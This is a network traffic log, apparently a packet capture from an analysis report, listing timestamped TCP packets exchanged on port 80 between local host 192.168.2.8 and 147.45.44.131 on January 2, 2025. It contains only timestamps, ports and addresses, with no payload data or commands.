Jan 2, 2025 19:14:18.673893929 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673897028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673903942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673908949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673912048 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673916101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673921108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673927069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673938036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673943043 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673944950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673950911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673960924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673963070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673975945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673978090 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673989058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673995972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673999071 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.674000978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674006939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.674006939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674015045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674020052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674025059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674031019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674035072 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.674037933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674045086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674052000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.674069881 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.674098969 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.688250065 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.757925034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.757941961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.757947922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758049965 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.758099079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758105993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758111000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758116961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758126974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758131981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758143902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758148909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758152962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758157015 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.758157969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758171082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758174896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758186102 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758188963 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.758193016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758213043 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.758225918 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.758563995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758570910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758583069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758591890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758596897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758603096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758609056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758619070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.758625984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758630991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.758654118 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.758671045 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.759406090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759412050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759423971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759463072 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.759495974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759510040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759524107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759530067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759542942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759545088 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.759548903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759556055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759565115 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.759572029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759577036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759586096 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.759589911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759608030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.759618044 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.759648085 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.760643005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760651112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760663986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760689974 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.760801077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760807037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760812998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760821104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760827065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760838985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760840893 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.760844946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760857105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760862112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760867119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760869980 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.760874033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.760889053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.760910988 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.762656927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762664080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762677908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762685061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762701988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762708902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762713909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762718916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762725115 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.762727022 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.762748957 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.762773037 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.763076067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763082027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763087988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763113022 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.763139009 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.763250113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763258934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763271093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763276100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763282061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763303995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.763339043 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.763948917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.763989925 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764007092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764014006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764022112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764028072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764033079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764051914 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764082909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764096022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764132977 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764180899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764187098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764193058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764198065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764209032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764213085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764223099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764229059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764233112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764235020 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764259100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764266968 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764297962 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764301062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764307022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764312983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764369011 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764379978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764385939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764395952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764404058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764410019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764420033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764425993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764430046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764430046 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764442921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764472008 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764472008 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764499903 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764516115 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764527082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764529943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764537096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764539957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764543056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764545918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764552116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764560938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764566898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764575005 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764578104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764614105 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764645100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764653921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764662981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764681101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764689922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764694929 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764698982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764705896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764714956 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764722109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764727116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.764730930 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.764759064 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.765858889 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.810669899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.810678959 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.810691118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.810697079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.810702085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.810713053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.810719013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.810735941 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.810785055 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.848639011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848645926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848650932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848655939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848712921 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.848742962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848750114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848757029 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.848762989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848767996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848781109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848788023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848794937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848795891 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.848812103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848818064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848823071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848824978 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.848829031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848834991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.848856926 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.848887920 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.849153042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849159002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849170923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849200964 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.849221945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849226952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849234104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849240065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849251986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849258900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.849261045 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.849278927 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.849306107 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.850159883 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850167990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850172997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850178957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850192070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850197077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850207090 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.850208044 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850214005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850219011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850224018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850229979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850246906 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.850275993 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.850289106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850302935 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850306034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850311041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.850347042 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.851219893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851227045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851233006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851268053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.851288080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851294041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851305962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851335049 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.851411104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851416111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851422071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851427078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851432085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851444006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851449013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851454973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851454973 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.851465940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.851481915 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.851492882 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.853302002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853307009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853318930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853369951 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.853399992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853405952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853416920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853423119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853429079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.853447914 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.853477001 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854048967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854055882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854062080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854067087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854072094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854077101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854089022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854095936 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854113102 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854130030 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854762077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854767084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854788065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854794025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854815006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854829073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854832888 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854834080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854844093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854844093 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854849100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854855061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854860067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854863882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854875088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854885101 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854880095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854893923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854904890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854912043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854918003 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854921103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854939938 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854959011 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854968071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854973078 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.854983091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.854988098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855022907 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855068922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855108976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855212927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855218887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855226994 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855233908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855242014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855254889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855256081 CET	49704	80	192.168.2.8	147.45.44.131
